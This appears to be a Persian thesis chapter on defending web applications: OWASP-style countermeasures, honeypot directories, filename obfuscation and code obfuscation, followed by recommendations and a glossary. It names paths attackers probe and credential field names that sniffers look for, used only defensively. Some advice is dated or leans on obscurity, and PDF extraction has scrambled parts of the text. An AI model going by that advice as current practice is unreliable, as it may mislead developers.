  :Broken Authentication and Session Management با مقابله روش. 7.2.4

در تمام  SSLابتدا بايد دانست كه . اعتبارسنجي به يك ارتباط امن و ذخيرسازي اعتبارنامه ها نياز دارد

) را ببينيد Insecure Communications(اشته داشته باشد قسمت هاي اعتبارسنجي بايد وجود د

 Insecure Cryptographic(و اعتبارنامه ها نيز به صورت رمز شده يا درهم شده ذخيره مي شوند 

Storage را ببينيد.(  

  :جلوگيري از خطاهاي اعتبارسنجي نيازمند برنامه دقيقي است كه مهمترين آنها عبارتند از

تحت هيچ شرايطي يك : هاي دروني مديريت نشست ها استفاده كنيد فقط از مكانيزم -

  .رسيدگي كننده به نشست ثانويه نسازيد يا از آن استفاده نكنيد
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قبول  URLتوسط يك ك شناسنده نشست جديد يا قبلا تنظيم شده يا غير معتبر را ي -

  .ناميده مي شود "session fixation"است و چرا كه اين يك حمله : نكنيد

: براي اعتبار سنجي يا مديريت نشست ها از كوكي ها استفاده نكنيد يا آنها را محدود كنيد -

نبايد از روش هاي دست ساز  "single-sign on"يا  "remember me"نظير براي هدف هايي 

هاي پيش ساخته يا  1SSOمي توانيد از روش هاي ديگري كه ثابت شده هستند مانند . استفاده كنيد

  .استفاده كنيد 2ل اعتبار سنجي متحدراه ح

مطمئن . كه اين مكانيزم بايد قوي و جامع باشد: تنها از يك مكانيزم اعتبار سنجي استفاده كنيد -

. قرار نمي گيرد Replay attackو  3شويد كه اين مكانيزم به سادگي در معرض حملات كلاهبرداري

  .پذير نگردداين مكانيزم را خيلي پيچيده نكنيد تا خودش آسيب 

هميشه فرآيند ورود را : اجازه انجام فرآيند ورود را از يك صفحه غير امن و رمز نشده، ندهيد -

با اين كار جلوي بسياري حملات . از يك صفحه امن ثانويه با يك مشخصه نشست جديد انجام دهيد

تعيين نشست ( session fixationنظير دزدي اعتبار نامه يا نشست، حملات كلاهبرداري و حملات 

  .گرفته مي شود) كاربر به مقداري معلوم

   .ساخت يك نشست جديد در صورت اعتبار سنجي موفق يا تغيير سطح مجوزها -

در فرآيند خروج بايد تمامي نشست هاي : خروج از سايت در تمامي صفحات گزينهگذاشتن  -

اين قسمت بايد به فاكتورهاي  در. سمت سرور و همچنين كوكي هاي سمت كاربر، به كلي نابود شوند

انساني نيز دقت كرد تا كاربران به استفاده از گزينه خروج از سايت پس از پايان كارهايشان تشويق 

  .شوند

                                           
1 Single Sign-On 
2 Federated authentication solutions 
3 Spoofing 
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بايد يك مدت زماني نسبتا كوتاه براي حذف نشست هاي غير : استفاده از مدت زمان دوام اعتبار -

  .رنامه خارج كندفعال در سايت وجود داشته باشد و كاربر را از ب

همانطور كه نام كاربري و رمز عبور : استفاده از توابع قدرتمند فرعي در سيستم اعتبار سنجي -

اعتبار يك كاربر را تعيين مي كند، سوالات و پاسخ هايي كه براي فراموش كردن رمز عبور يا ريست آن 

. مربوط به آن بايد امن و قدرتمند باشندلذا توابع . شود نيز اعتبار كاربر را تعيين مي كندپرسيده مي

همچنين براي فاش نشدن داده هاي محرمانه كاربر، از روش هاي درهم سازي يك طرفه براي اين 

  .ها بايد استفاده كردپاسخ

يا ثبت  URLشناسه نشست يا هر قسمت ديگر اعتبارنامه هاي معتبر را به وسيله  چهي -

  .ر يا نشست كاربر را در ثبت وقايع ننويسيدهيچ گاه رمز عبو: وقايع فاش نكنيد

  .هميشه رمز عبور قديمي را هنگام تغيير رمز عبور از كاربر بخواهيد و آن را بررسي كنيد -

هيچ گاه سيستم اعتبار سنجي را بر پايه اعتبارنامه هايي كه قابل كلاهبرداري هستند قرار  -

  .، صفحات ارجاعي و نظاير آنReverse DNSيا  DNS1، ليست IPمانند آدرس هاي : ندهيد

هيچگاه : در مورد فرستادن اطلاعات محرمانه به آدرس هاي ايميل ثبت شده محتاط باشيد -

از رشته هاي تصادفي كه در زمان . 2ايميل شخص را به عنوان تنها فاكتور ريست رمز عبور قرار ندهيد

توجه كنيد كه چون يك . ستفاده كنيدمحدودي فعال هستند براي دسترسي به تنظيم مجدد رمز عبور ا

كاربر مي تواند آدرس ايميل خود را تغيير دهد، قبل از تغيير آن رمز عبور را از وي بخواهيد و يا يك 

  .نامه به آدرس ايميل قبلي وي براي تاييد بفرستيد

  

  

                                           
1 Domain Name Server/Service 
2 http://ha.ckers.org/blog/20061109/email-as-half-factor-authentication 
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  :Insecure Cryptographic Storage با مقابله روش. 8.2.4

-د اين است كه بدانيم آيا چيزهايي كه بايد رمز مي شدند واقعا رمز شدهمهمترين نكته اي كه وجود دار

موارد زير براي . پس بايد مطمئن شويم كه رمزنگاري به درستي پياده سازي شده باشد. اند يا خير

  :اجراي يك رمزنگاري درست توصيه مي گردد

اي تاييد شده عمومي نظير تنها از الگوريتم ه: گاه خودتان الگوريتم هاي رمزنگاري نسازيدچهي -

AES ،RSA  ،با رمزنگاري كليد عموميSHA-256 يا بهتر از اينها استفاده كنيد.  

امروزه ضعيف  MD5/SHA1الگوريتم هايي نظير : از الگوريتم هاي ضعيف استفاده نكنيد -

  .يا بهتر از آن پيشنهاد مي گردد SHA-256محسوب مي شوند و استفاده از 

ارتباط با اينترنت تهيه كنيد و كليدهاي خصوصي را در محل امني نگهداري  كليدها را بدون -

  .هيچ وقت كليدهاي خصوصي را از طريق اينترنت در كانال هاي غير امن نفرستيد: كنيد

استفاده مي كنيد، براي تمام طول مدت نشست بايد از آن  SSLوقتي از اعتبار نشست و  -

ورودي كافي نيست، به دليل اينكه داده ها و اطلاعات نشست فقط حفاظت از صفحه : استفاده كنيد

  .بايد رمزنگاري شده باشند

از امنيت اعتبارنامه هاي زيرساخت ها نظير اعتبارنامه هاي پايگاه داده يا ساير سرويس  -

اين كار را مي توانيد از طريق مجوزدهي و تعيين سطح دسترسي : دهنده ها اطمينان حاصل كنيد

البته مي توانيد با رمزنگاري امن و غير قابل بازگشايي، توسط كاربر محلي يا . انجام دهيدسختگيرانه 

  .كاربر از راه دور، نيز اين كار را انجام دهيد

براي مثال، : از عدم رمزگشايي آسان داده هاي رمز شده و ذخيره شده اطمينان حاصل كنيد -

  .ه پايگاه داده رمز شده نباشد بي معني خواهد بودرمزنگاري پايگاه داده در صورتي كه راه دسترسي ب
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بهترين حالت براي اينكه مهاجمان نتوانند از : هيچگاه داده هاي غير ضروري را ذخيره نكنيد -

داده ها استفاده كنند، در كنار رمزنگاري آنها، اينست كه داده هاي غير ضروري كه نفوذگر به آنها نياز 

براي مثال هم اكنون برنامه هاي . آنها نياز ندارد را هيچ گاه ذخيره نكنيمدارد اما برنامه كاربردي به 

روي كارت هاي اعتباري را  CVV1كاربردي تحت وب بر طبق قانون نبايد تحت هر شرايطي عدد 

  .2ذخيره كنند

  

  :Insecure Communications با مقابله روش. 9.2.4

كاربردي تحت وب وجود دارد، كه به همين  براي يك برنامه SSLچندين نكته براي تنظيم درست 

يك نوار سبز را براي سندهاي  IE 7.03براي مثال، . دليل فهميدن و تحليل كردن شرايط اهميت دارد

كاملا معتبر نشان مي دهد، اما اين امر به تنهايي كنترل مناسبي براي اثبات استفاده امن از رمزنگاري 

  :نيست

اين : كه داده هاي حساس را مي فرستند استفاده كنيد براي تمامي ارتباطات SSLاز  -

اطلاعات مي تواند شامل اعتبارنامه ها، جزئيات كارت اعتباري، وضعيت سلامتي و ديگر اطلاعات 

  .خصوصي باشد

از ارتباط امن بين خود سرويس دهنده ها، براي مثال سرويس دهنده پايگاه داده با سرويس  -

معمولا اطلاعات بين سرويس دهنده ها به دليل اعتمادي كه به : ددهنده وب، اطمينان حاصل كني

  .هم دارند از اهميت بالايي برخوردار بوده و بايد كاملا امن شوند

                                           
1 Card Verification Value 
2 PCI Data Security Standard v1.1, https://www.pcisecuritystandards.org/pdfs/pci_dss_v1-1.pdf 
3 Internet Explorer 7.0 
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تمامي ارتباطات روي سرويس دهنده هايي كه با مشتريان كارت هاي اعتباري سر و كار  -

تمامي كاربران، كارمندان و مديران اين به همين دليل : امن باشند 1دارند هم اكنون بايد طبق قانون

  .سيستم ها بايد از ارتباطات امن استفاده كنند

كي  از روش هاي مقابله با استراق سمع هاي مستقيم، استفاده كردن از نام هاي نامربوط ي -

هم استفاده مي كنند  SSLسايت هايي كه از : براي فرستادن اطلاعات به سرويس دهنده است

را نديده بگيرد،  SSLهاي جعلي قرار بگيرند و اگر كاربر اعتبار  SSLف استراق سمع با مي توانند هد

از آنجايي كه در نتيجه استراق سمع هاي شبكه معمولا . به راحتي در معرض اين حمله قرار مي گيرد

ير اطلاعات بسيار زيادي به دست مي آيد، نفوذگران معمولا به دنبال مقادير رشته هاي پركاربرد نظ

Password ،Passwd ،Username ،UserID  و مانند آنها در بسته هايHTTP  مي گردند و از

همچنين اگر مهاجمان سايت خاصي را هدف گرفته باشند، نام مقادير ارسالي . باقي صرف نظر مي كنند

رنامه كاربردي حال اگر ب. آن را به ابزار هاي خود مي دهند تا مقادير ارسالي را از بين بسته ها پيدا كند

تحت وب از نام هايي براي ارسال مقادير خود استفاده كند كه با هر بار بازتازه كردن صفحه تغيير كنند 

، مي تواند تا حد زيادي )Usernameبه جاي فيلد  q12ee22مثل (و معناي خاصي نيز نداشته باشند 

  .كاربران خود را از حملات مستقيم استراق سمع مصون بدارد

  

  :Failure to Restrict URL Access با مقابله روش. 10.2.4

بايد زمان بگذاريد و ماتريسي از دسترسي هاي اشخاص يا نقش ها به توابع يا فايل هاي برنامه كاربردي 

برنامه كاربردي تحت . تحت وب تهيه كنيد، چرا كه اين يك قدم كليدي براي رفع اين آسيب پذيريست

صحيح نيست كه كنترل هاي . يا اجرا شدن توابع، بررسي كند URLر وب بايد دسترسي ها را با ه

                                           
1 PCI Data Security Standard v1.1 
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همچنين، تنها يك دفعه . دسترسي را در لايه نمايش بگذاريم و منطق برنامه را بدون حفاظت رها كنيم

بررسي درست نيست، بلكه بايد در هر بار تقاضاي دسترسي به يك فايل يا تابع، دسترسي كاربر كنترل 

گر اينطور نبايد باشد كه در فايل هاي ترتيبي مهاجم بتواند به دومين فايل بدون نياز به عبارت دي. شود

  .به كنترل دسترسي وارد شود، به اين دليل كه تنها در فايل اول دسترسي ها كنترل مي شوند

  :براي جلوگيري از اين آسيب پذيري و ايجاد كنترل هاي دسترسي بايد به موارد زير توجه داشت

ن از اينكه ماتريس كنترل هاي دسترسي، بخشي از منطق، معماري و طراحي برنامه اطمينا -

  .كاربردي تحت وب است

ها و توابع برنامه با مكانيزم هاي كنترل دسترسي موثر، URLاطمينان از اينكه تمامي  -

مطمئن . كه به نقش كاربر و پردازشي كه بايد صورت بپذيرد رسيدگي مي كنند: حفاظت شده اند

  .ويد كه اين عمل در هر مرحله انجام مي شود و نه فقط در اول يك پردازش چند مرحله ايش

-پيش از برپاسازي يا تحويل دادن كدها، براي اطمينان از عدم آسيب: اجرا كنيد 1ك آزمون نفوذي -

اجرا پذيري برنامه توسط يك نفوذگر حرفه اي، خود آزمون هاي نفوذ عليه برنامه كاربردي تحت وب را 

  .كنيد

مخصوصا وقتي اين فايل ها پسوندهاي قابل : توجه خاصي به فايل هاي كتابخانه اي داشته باشيد -

اگر امكان دارد بايد آنها را از قسمتي كه از طريق وب در دسترس هستند، . دارند ASPاجرايي نظير 

. د خطرناك باشد يا نههمچنين بايد بررسي كرد كه آيا دسترسي مستقيم به آنها مي توان. خارج كرد

بهترين كار اين است كه اين فايل ها فقط شامل توابع و روال ها و مانند اينها باشند كه نياز به صدا 

كردن داشته باشند؛ با اين كار اگر اين فايل ها مستقيما مورد دسترسي قرار بگيرند، هيچ اتفاقي نخواهد 

  .افتاد

                                           
1 Penetration test 
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: هاي مخفي يا خاص، بي خبر هستندURLس هاي هيچ گاه تصور نكنيد كه كاربران از آدر -

  .هميشه تمامي فايل ها را براي دسترسي بررسي كنيد

: جلوي اجراي انواع ديگر فايل ها كه در برنامه يا سايت شما مورد استفاده نيستند را بگيريد -

ت به در يك ساي استفاده كند و "Accept known good"آل اين فيلتر بايد از سبك ايدهبه صورت 

. و مانند اينها را بگيرد php ،.aspx ،.xml ،.log.جلوي دسترسي به ساير پسوندها نظير  ASPزبان 

از فايل هاي برنامه، فايل هاي مهم حاوي  در نهايت بايد مراقب باشيد كه در سايت خود نسخه پشتيبان

-ار را انجام دهيد بايد اين فايلاطلاعات قابل دريافت و مانند اينها را قرار ندهيد و اگر مي خواهيد اين ك

  .ها بدون كنترل دسترسي قابل دريافت نباشند

با اين كار : سرويس دهنده خود را به روز نگه داريد ديوار آتش و كش ها وهميشه ويروس -

جلوي اجراي سو استفاده هاي احتمالي آشكار شده از سرويس دهنده و برنامه كاربردي تحت وب تا حد 

  .ي شودزيادي گرفته م

  

  

  :روش هاي مقابله با مراحل حمله از طريق دشوار سازي عمليات نفوذ. 3.4

همانطور كه در فصل قبل گفته شد، اگر بتوانيم در حين مرحله اساسي حمله اخلال ايجاد كنيم، 

خواهيم توانست سرعت كار نفوذگران را كندتر و كار آنها را دشوارتر كنيم و بدين ترتيب امنيت بيشتري 

پس در اينجا روش هاي اخلال در اين دو مرحله را از طريق خود . به برنامه و سايت خود ببخشيم را

  .برنامه هاي كاربردي تحت وب بيان مي كنيم

گفتنيست چندين روش اخلال در روش هاي خودكار شناسايي و حمله در قسمت قبل گفته شد كه در 

  .اينجا ديگر به آنها اشاره نخواهيم كرد
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  :ييشناسا اتيعمل يساز دشوار. 1.3.4

همان طور كه در فصل قبل ديديد پيدا كردن نام فايل ها و پوشه ها، برنامه هاي كاربردي و تكنولوژي 

  .هاي مورد استفاده و نسخه هاي آنها اهداف مرحله شناسايي هستند

  :با اجراي مراحل زير مي توانيد عمليات شناسايي را با مشكل جدي روبرو كنيد

تغيير دادن تمامي پيش فرض هاي موجود در برنامه هاي كاربردي كه از آنها در برنامه استفاده شده  -

نظير نسخه، نام برنامه، امضاهاي افراد يا شركت سازنده و مانند آنها و همچنين حذف تصاوير . است

ها و readmeنظير پيش فرض و بلااستفاده، لوگوهاي تجاري افراد يا شركت سازنده، فايل هاي راهنما 

كه قبلا گفته شده، اقدام به  proxyبعد از انجام اين كارها، بايد با ابزارهاي . فايل هاي بلااستفاده

براي شناسايي نام برنامه  يفرستادن و گرفتن اطلاعات از برنامه كنيد تا مطمئن شويد ديگر الگوي

د كه در شكل ظاهري برنامه تغييرات حال اگر مي تواني. كاربردي و نسخه مورد استفاده وجود ندارد

در واقع با اين كارها احتمال شناسايي برنامه كاربردي . جدي بدهيد، بايد اين كار را نيز انجام دهيد

  .تحت وب مورد استفاده و نيز نسخه موجود را بسيار پايين مي آوريد

كه باعث مي شود . س دهندهتغيير دادن پسوند فايل ها به يك مقدار ديگر و اعمال تنظيمات در سروي -

-همچنين استفاده از نام. مخفي بماند JSPو  ASPتكنولوژي مورد استفاده تا حد زيادي براي صفحات 

مثلا براي اشتباه گرفته شدن با . ها و عواملي كه باعث شود با تكنولوژي ديگر اشتباه گرفته شوند

در ورودي هاي خود به  ”VIEWSTATE__“مي توان از فرم هايي با داشتن مقدار  Net.تكنولوژي 

توجه داشته باشيد كه تغيير پسوندها بعضي اوقات خود باعث آسيب پذير . صورت مخفي استفاده كرد

شدن برنامه در مقابل حملاتي مانند فاش شدن كدهاي منبع مي گردد، پس در استفاده از اين مورد 

  .بايد دقت كافي به عمل بيايد
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 Information Leakage and Improper Error Handlingبا  در بخش مربوط به مقابله -

  .ت شونديمطالبي گفته شد كه در اينجا نيز همگي بايد رعا

با اينكه بحث ما در مورد برنامه هاي كاربردي تحت وب است اما از آنجايي كه اين مورد با مبحث ما  -

 1در سرنامه Apacheا ي IISمثل  خود سرويس دهنده هاي وب:  در ارتباط است، آن را بيان مي كنيم

ارسالي خود به طرف كاربر اطلاعات مهمي نظير شماره نسخه ها را فاش مي كنند كه بايد با تنظيم 

صحيح آنها نه تنها اطلاعات درست از سرويس دهنده به سمت كاربر نفرستاد، بلكه داده هاي جعلي و 

در كنار اين، حذف پوشه ها و فايل هاي . دغلط در مورد سرويس دهنده به طرف كاربر نيز ارسال كر

پيش فرض در خود سرويس دهنده بايد انجام پذيرد چرا كه خود ممكن است باعث دادن اطلاعات و يا 

  .وقوع آسيب پذيري ديگري گردد

براي مثال مي . سعي كنيد نام فايل ها و پوشه ها را طوري انتخاب كنيد كه قابل حدس زدن نباشند -

اگرچه اين كار شناسايي را . نام آنها با يك كليد محرمانه استفاده كنيد MD5هم شده توانيد از در

تقريبا غير ممكن مي سازد، اما كار برنامه نويس را هم بسيار دشوار خواهد كرد و احتمال ثبت در 

لذا مي توانيد از اين روش فقط براي پوشه . را نيز كاهش مي دهد Googleموتورهاي جستجو نظير 

روش ديگر در همين حيطه مي تواند به اين شكل باشد كه پوشه ها و نام . مديريتي استفاده كنيد هاي

فايل ها طولاني ولي با معني باشد اما شيوه دسترسي به آنها فقط از طريق يك صفحه به شكل زير 

  :ممكن باشد

/index.jsp?pageid={xxxx-xxxx-xxxx-xxxx}&NewsID=10 

 = فايل اصلي

/News_RandomNumber/CompanyName_News_RandomNumber_Show.jsp 

                                           
1 Header 
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به نام صفحه اشاره  {xxxx-xxxx-xxxx-xxxx}در اينجا توسط يك ماتريس از قبل تعريف شده، 

در اين صورت كار براي برنامه نويس آسان تر شده، اما براي مهاجم همچنان سخت باقي مي . مي كند

  .ماند

كردن زمان آنها، هم از وقوع حمله با خبر مي شويد و هم تا حد با گمراه كردن نفوذگران و تلف  -

براي گمراه كردن نفوذگران، مي توان از پوشه هايي كه . زيادي عمليات نفوذ را به تعويق مياندازيد

  :بعضي از اين نام ها به صورت زير هستند. نفوذگران همواره در ابتدا به دنبال آنها هستند، استفاده كرد

/admin/, /admin/db/, /admin/logs/, /database/, /editor/, /statistic/, /backup/, 

/admin/uploader/, /admin/filemanager/, /admin/users/, /cpanel/, /ftp/, … 

با ساختن اين . با تفكر بيشتر مي توان نام هاي ديگري نيز با توجه به كلمات مهم متداول پيدا كرد

حتي مي توان پوشه اي به . جعلي، زمان بسياري از نفوذگران تلف مي شود پوشه ها به صورت خالي و

براي مثال . همراه فايل هاي جعلي، فقط به منظور ذخيره حركات نفوذگر درست كرد

/admin/login.asp  نام كاربري يا رمز عبور صحيح "وجود داشته باشد، اما همواره پيغام خطاي

با  نيز مي تواند robots.txtدر اين راه، فايل  .را برگرداند و حركات نفوذگر را ذخيره كند "نيست

  .راهنمايي كردن نفوذگر به بعضي از اين پوشه ها گمراه كند

سرويس دهنده وب و برنامه كاربردي خود را طوري تنظيم كنيد كه در صورت بررسي نام فايل ها و  -

، همواره همان )مثلا وقتي وجود ندارند(وقتي كه خطايي رخ مي دهد پوشه ها در پوشه هاي موجود، 

در سايت  يصفحه آخري را نمايش دهد كه در آن خطايي رخ نداده است و يا اينكه يك صفحه تصادف

براي مثال فرض مي كنيم كه مهاجم در پوشه زير مي خواهد به دنبال نام فايل ها و . نمايش داده شود

  :ساير پوشه ها بگردد

/news/ 
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را مروركرده است، حال كه پوشه هاي  index.jspو از آنجايي كه نفوذگر قبلا به اين پوشه سر زده و 

در همان آدرس  index.jspزير كه وجود ندارند يا ممنوع هستند را مرور مي كند بازهم برايش صفحه 

  :ندزده شده نمايش داده مي شود بدون آنكه پيغام خطا يا تغيير مسير دريافت ك

/news/admin/ 

/news/test/ 

با اين عمل تمام جستجوگرهاي خودكار از كار خواهند افتاد و حدس زدن نام پوشه ها و فايل ها 

در عين حال، مهاجمان به صورت دستي نيز با مشكلات زيادي نظير . برايشان غير ممكن مي شود

  .محدوديت زمان روبرو مي شوند

ش هاي بالا با هم خواهيد توانست برنامه كاربردي خود را تا حد توجه داشته باشيد با تركيب رو -

در كنار اين اگر سيستم ثبت وقايع براي يك برنامه كاربردي  .زيادي از حمله مهاجمان مصون نگه داريد

  .يا وب سايت وجود داشته باشد، مي توان از وقوع حمله مطلع شد

  

  :ها يريپذ بيآس از هاستفاد و كدها خواندن اتيعمل يساز دشوار. 2.3.4

هميشه نمي توان نام فايل ها و پوشه هاي برنامه كاربردي وب را مخفي نگه داشت، چرا كه اكثر برنامه 

هاي كاربردي تحت وب تنها براي يك جاي خاص نوشته نمي شوند و در بسياري جاهاي ديگر نيز نصب 

ب از حالت پس ديگر برنامه كاربردي تحت و. مي شوند و ممكن است در دسترس عموم نيز قرار گيرند

جعبه سياه خارج مي شود، و در اين حالت نفوذگران مي خواهند آسيب پذيري ها را به صورت جعبه 

اگر برنامه در حالت جعبه سياه آسيب پذيري از خود نشان ندهد، . سياه و جعبه سفيد پيدا كنند

دارد كه بتوانيم  در اين حالت راه هايي وجود. مهاجمان حرفه اي به سراغ كدهاي برنامه خواهند رفت

را از خوانده شدن مصون نگه داريم و خواندن آنها را سخت و حتي غير ممكن  JSPو  ASPصفحات 

  :كنيم
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براي ناخوانا كردن  Obfuscationبراي اينكه خوانايي كدها را پايين بياوريم كافيست از ابزارهاي  -

ه توابع را به عباراتي بي معني نظير اين ابزار ها نام تمامي متغيرها به همرا. آنها استفاده كنيم

z433341  تغيير داده و خود با ايجاد توابع و متغيرهاي اضافي خوانايي برنامه را بسيار كاهش مي

  .دهند

را  ASPها را داشته باشيم مي توانيم كدهاي زبان  dll.در سرويس دهنده هايي كه امكان استفاده از  -

 dll.از  Objectكه به صورت كدهاي باينري هستند تبديل كنيم و با ساختن  dll.به فايل هاي 

نكته اين كار اينجاست كه براي انجام اين كار .  ساخته شده، توابع برنامه خود را به راحتي اجرا كنيم

 dll.جدا شده باشند وگرنه قابل تبديل به  HTMLبايد از كدهاي ) ASP )VBScriptكدهاي زبان 

تهيه كرده كه در  ASP Templateبه همين منظور نويسنده اين پروژه برنامه اي به نام . ودنخواهند ب

CD  ضميمه موجود است و با آن مي توان به راحتي كدهايVBScript  را ازHTML اين . جدا كرد

جداگانه به صورت قالبي ذخيره مي شوند و  HTMLبرنامه بدين صورت كار مي كند كه فايل هاي 

اين برنامه برپايه يك برنامه . مربوط به خود را پر مي كنند HTMLفايل هاي  ASP فايل هاي

كد باز نوشته شده كه كارايي و زمان اجراي آن به شدت بهبود يافته است و ويژگي هاي  1قديمي

  .زيادتري نيز، نظير فشرده كردن كدهاي خروجي، به آن اضافه شده است

  

  :خلاصه فصل. 4.4

اي مقابله با آسيب پذيري هاي وب را بررسي كرديم و براي تمامي آسيب پذيري در اين فصل روش ه

اين آسيب پذيري ها همان هايي بودند كه در فصل دوم تعريف . هاي مهم راه حل هاي كليدي ارائه شد

ذكر اين نكته دوباره اهميت دارد كه هيچ وسيله اي مانند ديوارآتش و مانند آن . و شرح داده شده بودند

همانطور كه اشاره شد مي توان  .واهد توانست جلوي تمامي حملات نفوذگران روي سايت ها را بگيردنخ
                                           

1 http://www.codeproject.com/KB/asp/asptemplate.aspx 
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كار نفوذگر را سخت كرد، اما اگر برنامه آسيب پذير باشد بالاخره در هم مي شكند و فقط زمان نفوذ 

است  پس اگر در اين مدت كدهاي نوشته شده را مجددا بررسي نكنيم ممكن. طولاني تر مي شود

  .نفوذگران سريع تر از ما پي به آسيب پذيري ها ببرند

. بهترين روش تامين امنيت آن است كه برنامه نويسان وب با تمام آسيب پذيري ها آشنايي داشته باشند

اين كار تنها با  واساسا خودش بايد امن و حفاظت شده باشد  ،تحت وب كاربردي يك برنامهچرا كه 

   .استن برنامه نويسي صحيح ممك

 

  :منابع فصل. 5.4
1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's Handbook 

Discovering and Exploiting Security Flaws", Wiley Publishing Inc., 2008 

2. Open Web Application Security Project, http://www.owasp.org 

3. Checklist: ASP Security (IIS 6.0), 

http://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/

27043ff9-b319-4ad6-b530-a7ddfd8fcff3.mspx?mfr=true 

4. PCI Data Security Standard v1.1, https://www.pcisecuritystandards.org/ 

5. http://ha.ckers.org/ 
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  :خلاصه كل مطالب. 5
چرا كه روز به روز بر . هميت امنيت وب بيشتر از امنيت شبكه نباشد، كمتر از آن نيستامروزه اگر ا

تعداد وب سايت ها افزوده مي شود، كاربران اينترنت بيشتر مي شوند و سازمان هاي بيشتري خدمات 

از  HTTP/Sخود را از طريق وب ارائه مي دهند و اين در حاليست كه درخواست هاي پروتكل 

آتش عبور كرده و كاملا مجاز تلقي مي شوند و اگر آسيب پذيري اي در وب وجود داشته ديوارهاي 

در واقع امنيت يك حلقه . باشد، علاوه بر شبكه داخلي، كاربران نيز در معرض خطر جدي قرار مي گيرند

زنجير است كه قدرت آن به اندازه ضعيف ترين حلقه اين زنجير است؛ و سرويس دهنده وب نيز حلقه 

ميزان آسيب پذيري برنامه هاي كاربردي تحت وب همچنان بالاست و هر . اي مهم در اين زنجير است

روز چندين برنامه آسيب پذير معرفي مي گردند و همچنين آسيب پذيري هاي جديد با تكنولوژي هاي 

عه دهندگان نويسان و توساين در حالي صورت مي گيرد كه اگر برنامه. جديد نيز دائما پديدار مي شوند

برنامه هاي كاربردي تحت وب از آسيب پذيري ها و نحوه مقابله با آنها اطلاع داشتند، مي توانستند 

  .جلوي حملات شناخته شده عليه وب را به وسيله كدهايشان بگيرند

 10ميزان آسيب پذيري ها و حملات برنامه هاي كاربردي تحت وب بسيار زياد است، اما آگاهي از 

. ي مهم و جلوگيري از آنها كافيست تا برنامه اي با ضريب امنيت بالا به وجود بيايدآسيب پذير

  .گفتنيست امروزه بيشتر سايت ها در مقابل حملاتي كه روي كاربران ديگر اثر مي گذارند آسيب پذيرند

حمله عليه برنامه هاي كاربردي تحت وب يا وب سايت ها به طور خلاصه از دو مرحله شناسايي و يافتن 

كه آسيب پذيري ها در دو حالت جعبه سياه و جعبه سفيد بررسي . آسيب پذيري ها تشكيل شده است

راه دور  در حالت جعبه سياه كدهاي برنامه در دسترس نيستند و بررسي آسيب پذيري ها از. مي شوند

براي يافتن آسيب پذيري ها در كد برنامه، كافيست با زبان آن برنامه آشنايي داشت و . انجام مي گردد
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نشانه هاي آسيب پذيري را نيز شناخت و به صورت ساختار يافته يا با الگوريتمي مشخص به دنبال 

  .آسيب پذيري ها بود

ي نكات امنيتي مانند كنترل ورودي هاي كاربر  و پذيربراي امن سازي كدهاي برنامه نيز براي هر آسيب

راه هاي مقابله در برخي . يا كنترل هاي دسترسي و مانند آن، بسته به نوع آسيب پذيري، وجود دارد

آسيب پذيري ها باهم مشتركند؛ كه اگر اين نكته امنيتي مشترك پياده سازي گردد، جلوي يك دسته 

نين بايد مسائلي را كه به اشتباه براي امن سازي استفاده مي همچ. از آسيب پذيري ها گرفته مي شود

استفاده از راهكارهاي پيشگيرانه، جهت دشوار نمودن راه نفوذ . شود، شناخت و از انجام آن ها پرهيز كرد

كه باعث اخلال در دو مرحله اساسي حمله مي شود نيز قويا توصيه مي شود، چرا كه شايد با اين كار 

  .تواند سريع تر از نفوذگران آسيب پذيري ها را پيدا كرده و آن ها را برطرف كندبرنامه نويس ب
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  :پيشنهادات. 6
وب سايت هاي بسياري با زبان هاي گوناگون وجود دارند كه از لحاظ امنيتي در وضعيت هم اكنون، 

همانطور كه  .آنهاستنامعلومي قرار دارند و خواندن دوباره كدهاي آنها بسيار سخت تر از ساخت دوباره 

  1خط كد وجود دارد 1000ايراد در هر  15تا  5آمارها نشان مي دهد بطور متوسط قبلا نيز گفته شد، 

 كي يخواندن تمام كدهابنابراين  .2ساعت زمان مي برد 9تا  2و پيدا كردن هر كدام از اين ايرادات بين 

توان  ينم نكهيزمان بر است، ضمن ا اريسب يها توسط انسان كار يريپذ بيكردن آس دايپ يبرا تيسا

هاي منتشر  همچنين حجم آسيب پذيري .كرد يكه همواره وجود دارند چشم پوش يانسان ياز خطاها

ساعت  700شده در هر سال به حدي است كه مطالعه سالانه آنها مي تواند در بهترين حالت بيشتر از 

متحمل هزينه زينه بر بوده و شركت ها ها خود عملياتي ه 4ارائه وصله ،علاوه بر بحث زمان. 3طول بكشد

   .5شوندمي  هاي سنگين جهت ارائه و گسترش وصله ها

جعبه تحت وب، به صورت  يكاربرد يبرنامه ها يها يريپذ بيكننده آس دايپ يامروزه اكثر برنامه ها

 يبرنامه ها يها يريپذ بياز آس ياريبس جهيدر نت. كنند يعمل م) منبع يو صرف نظر از كدها( 6سياه

  .بودخطرناك خواهند  اريتحت وب پنهان مانده و در صورت فاش شدن توسط نفوذگران بس يكاربرد

 يوب كه با توجه به كدها يتيگر امن ليبرنامه تحل كي لذا پيشنهاد مي شود تحقيقات در زمينه ساخت

    .، ادامه پيدا كندكند يم يريپذ بيكردن آس دايپ بهمنبع اقدام 

                                           
1 Us Dept. of Defense and the software Engineering Institute 
2 5 year pentagon study 
3 Intel white paper, CERT, ICSA Labs 
4 patch 
5 Gartner group   
6 Black Box 
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  :پيوستها. 7

  :واژه نامه امنيت وب. 1.7

اين واژه نامه به صورت الفبايي از واژگان و اصطلاحات رايج امنيت وب با توجه به كنسرسيوم امنيت 
 :تهيه شده است 1برنامه هاي كاربردي تحت وب

  

Abuse of Functionality: 

خراب كردن، كلاه برداري و يك تكنيك حمله است كه از خصيصه ها و كارايي يك وب سايت در جهت 
  .يا غلبه بر كنترل هاي دسترسي استفاده مي كند

 

ActiveX Controls: 

توسعه داده  Activex Controlsناميده مي شود با استفاده از تكنولوژي هاي  controlبرنامه اي كه 
فعال كرده  مي توانند به وسيله مرورگر هاي وبي كه اين تكنولوژي را Activexكنترل هاي . مي شود

مجموعه اي از قوانين هستند كه چگونگي به  ActiveXكنترل هاي . و اجرا شوند downloadباشند 
اين كنترل ها مي توانند با زبان . اشتراك گذاري اطلاعات بين برنامه هاي كاربردي را معلوم مي كنند

  .نوشته شوند Javaو  C,C++,Visual Basicهاي 

  

AJAX: 

AJAX  به كلماتJavaScript  وXML اين تكنولوژي كه بر پايه مرورگر است به يك وب . برميگردد
در  XMLHttpRequestسايت اجازه مي دهد تا بدون باز تازه كردن صفحه براي كاربر، به وسيله شي 

